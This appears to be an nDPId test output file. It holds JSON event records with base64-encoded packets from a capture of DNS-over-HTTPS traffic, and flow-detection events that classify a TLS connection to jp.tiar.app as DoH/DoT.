+00613{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":63924,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"ZmZmZmZmRERERERECABFAAC4+UtAADkGMvi5\/ZpCCgAAAQG76AwTfhrA\/1tpAFAYAIPkeAAA4ov2OS2FYwHLyLK8HvldhjW58oZhz\/dEDG0qRvP07Xrr9KbrwFzXsPAENpwnRYTilEXtuGTXfjP8+51dqVC3h3Voz6vzPB2E1qN7598iQNHjvdaBjrZ71M3dNmhXs0fudaDBYxVH3HnrCgr\/VoLnr9AAImTV5ybiMJS9e3W0V7h9Z35p6EhyTXdDS8\/1x5Ew"} +00505{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":65983,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABoJYdAAL0GgwwKAAABuf2aQugMAbv\/W2kAE34bUFAYAfUVVwAAFAMDAAEBFwMDADXfncreHH\/w41ETGxAbKhaT3vZm4z54UR30vbUShr9IVbJ7OCCA+pMljhOzcbHXS37RYg7ndA=="} +00534{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":66151,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+JYhAAL0GgvUKAAABuf2aQugMAbv\/W2lAE34bUFAYAfUVbQAAFwMDAFFCEWDs3sccqWd0uheET3JL6DjLTtPLiQmtDDP\/Rl5nPBW1sUJXIKVZtvgSbC59saZ4oVaBt07mMLExEbGQTB1v0bQ3ojKnMrYG+LAmpLooAew="} +00652{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":66359,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"REREREREZmZmZmZmCABFAADWJYlAAL0GgpwKAAABuf2aQugMAbv\/W2mWE34bUFAYAfUVxQAAFwMDAKnmGwvLwrTXxhPTTzcEC535NjD8uAooAoIVB5RdTpRNOPj\/\/mN6\/l9KpoP98jI9McLNuFT1f6mt6HbowGg42Ckub1UkE6wsoIoSvhaZD2LGlTxBt7BUNjEFWxc2fSkzTEjWQZxGgQpvLNYue1QZ4ZiGi1al66UOwXRDYE523xweYfihcnGz5bLj8O7OrnwSsMFtSL57Ub+JkwSOgin0BYy8VTw8eHQHbrwq"} +00526{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":66478,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3JYpAAL0GgvoKAAABuf2aQugMAbv\/W2pEE34bUFAYAfUVZgAAFwMDAEodoB\/jG4tLp9pDzYcl30EZh6dy6HePWtSOGTuL5fuqQELiJn85jBFFnsUGfWlSOIN9erzu517dOeEa\/S7QbfCdbQoGkLwi6RKbcA=="} +00503{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":108702,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"ZmZmZmZmRERERERECABFAABm+UxAADkGM0m5\/ZpCCgAAAQG76AwTfhtQ\/1tpQFAYAINIDwAAFwMDADnG0pyUeq5BwsUUEaqM8EHddAKB5VF4Gc\/lNXPW0SSZYjATe39i6VIu06uMoesQieSIdoYjbZhKNeQ="} +00459{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":108859,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHJYtAAL0GgykKAAABuf2aQugMAbv\/W2qTE34bjlAYAfUVNgAAFwMDABo12I6f2bnmxjRx7558UlVmD8llvA0RqvaAKw=="} +00478{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":109415,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"ZmZmZmZmRERERERECABFAABU+U5AADkGM1m5\/ZpCCgAAAQG76AwTfhuO\/1tqk1AYAIXiDQAAFwMDACeSvM9qa3BN4ScRUBUY1tjxyMIz1TCtENnc6VIob19Rg93Zld\/Pv1U="} +01521{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":110212,"pkt_caplen":868,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":868,"pkt_l4_len":834,"pkt":"ZmZmZmZmRERERERECABFAANW+U9AADkGMFa5\/ZpCCgAAAQG76AwTfhu6\/1tqk1AYAIUJnAAAFwMDAykgPhjewp42Ef\/n8tkRZOVnap6XAffAXL5\/gtEDQrwjSFl1Unjg6UkCULk8fXxELQ0oGYZz2MhePh44iOMAW0qLldMauX1A9vqRcUIjDN64fJwoTsVOIcm02Uvc5ZO9PoQJQpWFW0oTMPkS2xfLaEd3JOzOIoNvtDh8B9WHqKNG9T9IWo3nS96dMbmZhR+nwumhfWgUDYkunWnAQ+XUP3ipDUqumdVTMgAABtyhOBccniZcccTNInhmPVDTFdsp+4HQoIDaMugjS765lKFFkGGu6YqZWCGhKrxVGLL2rcXVH73CmyIj+uCvH9Q\/zoM9ujAvTocbResMTRkOW8a3dW5xbOj3asOeMuUqqfHLseeHg8keAfCJaeHrjALyLUW+TR\/x2G2nfjcfDNbLj3EYl6o9oyj5RHcJDn59pz3Tw3zPInt6SH6Qi6u7UiGzW3eS9mPjx6aaou0B\/KIsjwHK1TQG0LqOSIByJ3PWeN8fLBFz7b1+ns1dBZKYBtVPq2I0JTf5LHTOBezQffL7l41B5Enqp0DYAFkPNSBdiCyHOy+pDoEU\/xWiJQvx8\/RkGnY9fGXVUNLYvsMDSRafqgF3gD0WUNHiI3logAfO0Wk3oKAkgb89pGVh\/+fq+QVdcMyYvITrNUK562BoGijYWe\/dyNAMDtZ44omZiaGGfAf46gF3rUIhuZc1\/AiwK1PsDIb2LJ1MR+x4qzSA+ZY0IhRNCwNGKjPWaLaO3PoOYwUyI8NY4x2UXtpwVc8KZrVevmDkzCbW\/TmGB9S1dJ0T1yx4oBodSHELDJet72LpAuWtUKizzN241glg46Rs6j3ydj6NnBPQ1XJKVkZlnvSXbLPZYLULyCDUjgKKiHRu5Em9VeuhVUCCkEndb2M15mQsI+7fG3RjHv2cBjvKA1s5dm13B\/MsvzdQyiIgkh\/aO3Rh1hD7cuCk2azBZK17+YRGmRyhwgZKoK31gnhPzFIx8gzUoH3fyWm2deJ3SB78NeDt9PBMQwbK31K9TY5jboPy3vY0FyKwO0Ykkyi6eSoMOTMmpEdICpBl5BbStUSF9usnYqnDC6YofqQyX1UEBQ=="} +00464{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":110575,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLJY1AAL0GgyMKAAABuf2aQugMAbv\/W2qyE34e6FAYAfUVOgAAFwMDAB6pgarzoZFPxdrbCJldYAvpFU+0XnDZh8Ng77timV0="} +00561{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":110719,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"REREREREZmZmZmZmCABFAACRJY5AAL0GgtwKAAABuf2aQugMAbv\/W2rVE34e6FAYAfUVgAAAFwMDAGSwGvxSL3FIyDR310\/9O7PcMPe0ggdrreIARkJTs2CLGVT1Ypiw13DA1nyD6gImpazyC5vUf1UFekKskNcT2L7LbMB\/g+5wrrV5znXzb6XmxNp1ibeEuMn3nwejnFN9EIiup5Kt"} +00570{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":110871,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWJY9AAL0GgtYKAAABuf2aQugMAbv\/W2s+E34e6FAYAfUVhQAAFwMDAGl4Ax7b\/n2TYV+yAF7kw\/tZI7yNepzO7WMF9ElM742tNU0B1rqhUIxffsYxoT0e94SkRODtGgqBbI5T1DuYgzpRkCmv\/VBGiBWFJFnG96I91tiatUHn0Ag2aFFicyHE0j8xCQuA5vGVoO8="} +00465{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":152934,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABL+VFAADkGM1+5\/ZpCCgAAAQG76AwTfh7o\/1trPlAYAIUVngAAFwMDAB5IOLZETBFPI2tNUcP0eQPXsxWmDRunSXpjj7yYkUU="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":59,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":946739305650,"flow_last_seen":0,"flow_tot_l4_data_len":301,"flow_min_l4_data_len":301,"flow_max_l4_data_len":301,"flow_avg_l4_data_len":301,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":40938,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00800{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":650572,"pkt_caplen":335,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":335,"pkt_l4_len":301,"pkt":"REREREREZmZmZmZmCABFAAFBLvBAAL0Gw1EKAAABrGhdUJ\/qAbvjN2w6lQOuzlAYAfbLqAAAFgMBARQBAAEQAwPaSOnODEW\/53X3FLI0n+Mih\/iyk2Bze7sXLhS9N0ueoyDada2r8SjLZf4K7a+NbQASLzSYT4924P6pAuqOJM8\/hgAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAAChAAAAEAAOAAALanAudGlhci5hcHAABQAFAQAAAAAACgAKAAgAHQAXABgAGQALAAIBAAANABoAGAgEBAMIBwgFCAYEAQUBBgEFAwYDAgECA\/8BAAEAABAADgAMAmgyCGh0dHAvMS4xABIAAAArAAkIAwQDAwMCAwEAMwAmACQAHQAgYin8bJdqHx3ibHrbfDgwuFVcZV3PPNkWvp1zHo7\/2AM="} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":59,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":946739305650,"flow_last_seen":0,"flow_tot_l4_data_len":301,"flow_min_l4_data_len":301,"flow_max_l4_data_len":301,"flow_avg_l4_data_len":301,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":40938,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"jp.tiar.app","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02386{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":852459,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"ZmZmZmZmRERERERECABFAAXUYr5AADcGEPGsaF1QCgAAAQG7n+qVA67O4zdtU1AQABbJOgAAFgMDAHoCAAB2AwMioc+jlzNc+VBJaZcDKojs21jGEKcSNKyg9ExllQqy+iDada2r8SjLZf4K7a+NbQASLzSYT4924P6pAuqOJM8\/hhMDAAAuACsAAgMEADMAJAAdACAdEExo5yrIKmMZ4nrOia6UHa7Zh09ZMNUZYLDF+NYxaxQDAwABARcDAwAkT\/VVW9e6tSXUn2DgdOFI1vJ9CWMqaG0B1UgAogfcRWwpZ74dFwMDDDNZ3TFhx2HRd\/d\/BnLRqx3w9gJyapE59ga0mk6Gbdpy2uhfU1raH\/kLDwO0PHahqFeiov5PtmafDzH5oAzRDBThfFaKNK986AJtqna7+\/+W9HqZppsUeMeFtSdutMbm9VkvNNWFsngalQ8\/TjlWYt\/LNabidW0R+diEYRXkVHectSDnGgpIKw7AqJmgGmRJSQFZmk8mMFHUip8Ns8L0Qm+4mFM3OyM2y8uotBFp52jwBE4JcdWTlWvX638UUEwGd0+Jev1b4UZvqaI8gBJQiwDYthQvx2cilE03gvQZUs1gLv40OT\/eDg1VwASYtXu1QKuaTXj67d3FvJUxTfjdc9Un1x\/xpNxQ9IvL0JgGMqp5Nvz4C+qRYd\/CysKeUwM5LkGikxDP3qZXZjcRDF3CvWl\/0RJAgB68oCh4lzQ6BTBYQsLIO+2npSdMMO1mcmGxOeyAtRoiglI\/Mu+7bxclTAdkFUgpS6V0wzwluZmFW7Rx4iiSeZWVmQDKjFeHStRAafyFrtH26wCU1ei1O7zDiCd\/St5EWtAfoATjugif\/dASmeS6peR\/N837DyefuOM7XNJbAUXXdVYFQbj88dVPYC1ZWfSpl1wPAKf87TREgv6h4ZkxzRnB6COvKSvUqklCC1SSMJfennS1L0Etglf8wZsulJYWIe6+sEiyvEkrN24bb021w2X\/KuVEn+j5dyEDiGG5loD+4VYwc9G5Wa+jxRUO0+A62CO2opPif7xWIxQXRSJ441bKp\/i7j7P+cl88sdZsTxv2ygPWKGEBO4XHbg95EUra3m5LdhfhQUM\/e\/n+Ak+LAL3mStir5xjEDf9+haA4s5VbKmTRNrJtFiUwt198TeBjvlKCejLbJO6d8gE6SQECz4iM7IcNa\/bXR7adNUuu8qhullq5WfyiHcztVpItdHmrHXbaCsGaPgIKVpIJp30oUBjXbdyBrklTyARetsx+L4hfDlDZiZOEujpickcQVHRV+Rq6dF5UrRJYU3XU\/ZcqBeRvNXpu9d46M\/bhnVClgq2Bd+aOiR2kaho07AGNJ9Fr4k5Jos+2Q6DGpQasXC6x+iPauGKBp59nwGXbOOKtd8ArTxOlVzQmOZH6I0tx+iKMplPSCHR8FFec2EwXBLm\/1vyI9Pwo+zYiVdHp09rRHeJXaKGgiynxtv128gHPWfts6k\/bUS8N1Dw2y1OWa2cDxVOv79IA65ALHyABrPQbEH+byQd5tzeWrWUmzmNi3p4jdd62IgsA8HkYmsZmy5jIyKyWEYlUo1SPeqjIhX9VriaKoSoSKPFRDULdhc+03ZBXd6SKMHCSS7x6DpL0ufFkfc0ZfcGyz8s\/jngcscp5gmPQrY+VfOmrZe4EnOIAqkwdbS5Vejc5Yga2D4LRGGWgMYBm5SScqu5500ZCpE0WmkryZPm\/4OMJ47iDZWRTkVie5Ea9ONRDlM9tVglWZF\/oUiAJVVWh4mt0z6nVYUgTMbtTn0pDKN\/0TJikQ5gt3TXgtioj57ko+eiK8raQcuhqyXG3KA52lsLM2MmWuS6VxCjD2hxANDc3R7BZOaM4bmyza4JUsEms3Y5aNGYiFwaMTvyvPSX55q5QHTJ\/Mi827fNg4TtCrFRxN6XxJuU0RfIATOX3faQkD1YP1V51gStaTXEj1EBrNyqEnKqYk6Yxs2aBmn4CqaTQ7ru+2yyoapdX3D0JCzKb"} +00827{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":60,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":2,"flow_first_seen":946739305650,"flow_last_seen":946739305852,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":301,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":886,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":40938,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"jp.tiar.app","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"475c9302dc42b2751db9edcac3b74891","unsafe_cipher":0,"cipher":"TLS_CHACHA20_POLY1305_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +03390{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":852672,"pkt_caplen":2248,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2248,"pkt_l4_len":2214,"pkt":"ZmZmZmZmRERERERECABFAAi6Yr9AADcGDgqsaF1QCgAAAQG7n+qVA7R64zdtU1AYABbTIQAA7khOXiRDmimON10SUW6EdkRNtideeCAmsCP9ufTAbxPBEESbRp6rJdX9WpgeGKEcs1FSJYqSgEbwbmVZ45a190xHBVgYJoheRrXwVU8\/AsBaHDXul428WYkRrLMS2d7ip3ZonDd7PZHF6J0j5\/wI70KV9AUCOBt\/Btv4kzO+Hj+j3yK5bLSbWlRhD1fuMQAb+cF537u0\/U3MsC4OMo+87usOrwz6eMrKL+s31DCb4z6f8eENi68oRi9OZYKpoRYjhFkw0unmspSreLKjulrpWluVXrk1btWPgYpUVnavuXquTK1NtVner355EoOvAf5CAN1Y8OcMXqML8XqYMeqEg34ZtCcYr+tnetE29K921LwsoIOkJdbaiCVLTv\/9X++VjLPLL4afBqrrwx2ZkXw2VSOvNSpMcVsFQ2sks0er7rCvo3vy970zXk8N2ZRM9DEPyk4S8i+C3Yw3j6efIbDNyRRGIb1TGn6z1LzsFfHkHQ\/coPiZhIhvnK6o5iGWcHYOGEPLh4XlmZt5EnCBavREWdcXDAq+Rj+biwLLNbp9Xm75T3bbWxLQivCzGfNO2oBB8jJz2Zicez5S7098raXjnFVLWws7S\/ZjTQ11gAbLNqyHJOm\/RerOFZpkbGJsCCKjsmgBFYujoZTifdvrnskuFGuKqjRU7sBnWY38jO4yTlznAvt2Cf2\/I4bnh5roD5\/h3R\/5c28EQTDGmOL2\/KspdGSS1bjToJBQbcS2YbFnjwR5yrS+5SOLXVmRcZDGU4Ke3DaCJifWpD1EVuVb2ilryPAD8yGt9JaIe3cT9jnaxoJojKtbQNqrLa4+HAzDJSTrT+I7IXNvzHDQ5HJdRQkyKEzhMuedfOGX3aae0qJMXEdgmL8U1YL9LUgqs4gaInFpYecyGYMFaC7RpVTbVJ8AclN3JFij4ikMLs8OvolwBsIUxkwvTd2kxXvS\/GtkZpTdB40Qwypq6\/slHam9c8zmzEZ9VsQqYPOs7EU3IWXPB\/7jwR\/Swoqx9IepHlyCi3ipHUa3krt79WKeMN9slFrvDSuGQo7cCX4PwLWqGq1s8n4xGAwbb4PADqo8FJSgQHdjNMolIHMWyuqk5nqOgc0W36SeHQOxctDFxw00aD7\/ZIjnA7m+97J5Qh0XWgw5Lpsc8Mvp+VBxyMQklBuDFOyN3HJKbg943DoSjIMucZn1tzh8KOxw0Xql8+gP0Tj\/ncw8jVi\/PzuMVXmWMiQX\/wdJfEzJkJUlcXDAAE2IesO7KR0oZhnwcsaVEwrsJruOKxYtv2pbkmhOIxpFm4wJGmE+2JRFXkQDnRtvWvAJoF\/v0k69TDViO86TF2AjLFejfwjQQnCJXVkS4fuCh3i1TYrS+lUkfVezPrjjWW3F2LEdQQXJZmRfoBHSJjBhCP+Dcoc3jONSa9PXKqNJSf7Vo6MbkHB0XBcD7sdIZ2\/wIgxkllAd1uSaGBwJI8\/jhtA8RENMPWOxsz00xpbl8rHi+OkSD\/7Q58nbh7qhfzlemdSmsTNYU4yTeEr2yQTmNZcolwert2uPuF9VK2g\/3nveH2piPFCpAJOd4Z5dmxFR4fRYAGlILa5aNYiyWSR3G947wAwiYaU7l0JrzUlByQFpex9hGDkjjcctCUn8127O6yoOswVES887ts\/gfsXkn4d0JROgJbDiWFnN7j7+sZKWDkghhJYjTBSDkBNASiM9XLxgQ\/DaEwEwxYA7HjPEO\/8BxDusP8aK8hEqBPa8c8eFHdAYT3Eu2hChRagjV1O7Z0Zuc1z25GaMGiFKl7kwOrHIqt7609HLDEc8DgoFPHHr7IZJAecPMzvqj2CVzFTWl+NcGQgu1OZDB7YN8IsYE0Hj2wxjJJ4M8ncKFSWkLxvPRwAg+0hpC\/tSOqvX1jgKKAZg82Jl+tqVLBoZ773\/7qHfr\/BAX6oJ0vKtNpEDEGeMy6jjr8KxmYOPhgJuUsXOSiQKReqTW0HLQJn9LpGUn4zKUgOBpUtJCVQOwstz8rJvV98lhrypc92o1bXoXeUIxGojGdQmZAgxriin+ux8aVQDWCuRuunDdKlwCqYBaBQ5f2rPbpDMmRJRFIQV93Nffpu5y2M2nD2zqfxShtHtZqK9Odguom6eKtfMYRNoP0\/G2utDI3qzWXA4Mjnq20qW6WLp3\/OACxfwxJs+mIIux4CN4Of382BKD+HUg6iVDD+mi+PZO8yXcm+iMHr94FuVjknbJgwr8pz8hnl6BJO7Py9BRIAZSwIskF6wOgI\/\/4Qr2JcZ3TwaII9SEN+0Sx8PMXXAKDv89DA4GNqNhV0hw6VXwyvbxpg4tI+badMBjtd\/o4XHqPH+BgFz6M8EMB4Jddticq89uWfyyGOVmNlx8K6oUYEdD6RJBEwIP6yYPzzeebCbDK3en7B16cFcus7h8285+5Wxpsa9ruV64Q9ZoEhEUMGgffnT5ajZ+UpmS77fDl+DfNEzJY8TjXm9EL8XAwMBGQ9SGwhaT+0AWTV1WADn36NruqoDTHdQXMB5KJVX+hyENZfYkPjY19bk0TmuSlxnW4sPXtcFmHvEzv8TYCgHXXFqdgaXEgdtFhRRSPS0CqywSlTwtg9zlqkP6Vu\/gi2jnM2lX\/S3paNkHLJK2Xs42G6p+yMmyRBfn14DEFDykxvC8z+scW1WMMiVZcbQBKhJ+Ek8WtRoS9WYaJ74jobV62XFVLje4Al6wOy0PssyggYMNCsvtsxQ5KXxmsj4du7sF6hIaLMWOz7O8LamYiEYnY4YByhzDbINOM3XB385ribm3TlBE2FwQhpCNmgQNjG7wIBC9IfEBLxv5rxwvF8PVckgsWpRxADmo+gltAb0\/tgSzKl\/30lZxZ8BFwMDADWhE8bE7ktzdpeT1iEQv9HPHLrjBcBDs9EHJnB16E0omVuS5qQqwxUOOBNAVfkBff92\/dyz\/Q=="} +00505{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":854743,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABoLvNAAL0GxCcKAAABrGhdUJ\/qAbvjN21TlQO9DFAYAfXKzwAAFAMDAAEBFwMDADVZFDeGx9jhCVSvCDaoaTI7mm2C6bZOxUPj4ceROxo5CeHsTjuSnwiy3kJv2riOTzR6QvI4fA=="} +00534{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":854887,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+LvRAAL0GxBAKAAABrGhdUJ\/qAbvjN22TlQO9DFAYAfXK5QAAFwMDAFFabSFzRWPlZVKWzVkzQqDNwl3RlR5jphaFJDPBgV+CTmoVTmB0SLiXAGsFcB3shFjQukJa1DJWCTsOPPotW0xzi+wcsm0T4LkQV8d6PaOHtYA="} +00647{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":855101,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"REREREREZmZmZmZmCABFAADQLvVAAL0Gw70KAAABrGhdUJ\/qAbvjN23plQO9DFAYAfXLNwAAFwMDAKP+N3oqZ+PiKcTFP8HLDCR2K7brZD5hmaMo29m0T9l3Wm32reR+WpuauKrqsATbTUxzI5xcbDAcclEjZYQeQaQS+TCJQOoU4\/AD97CYTphRKqs\/qfgWRrggOMi0Qz4CVTjeUGT\/irZUGg\/4VF5Ikm8GOuLQ\/PvGD2Orsp9dmCuwiF9Avyo1PEtQ4O7Hor+gnRn8VuS5QKZ7IZAPQom6QfFpZ71M"} +00525{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":855209,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3LvZAAL0GxBUKAAABrGhdUJ\/qAbvjN26RlQO9DFAYAfXK3gAAFwMDAErgySskmwPThe0k1XU0HhIpE+d+gGf9Nf7iFBQEQlOc2rTHmY7gVD+ThbuIjr2kCn1w5oH5EJL6DdWrTfnrKCGY3xDDGTTf76bxbQ=="} 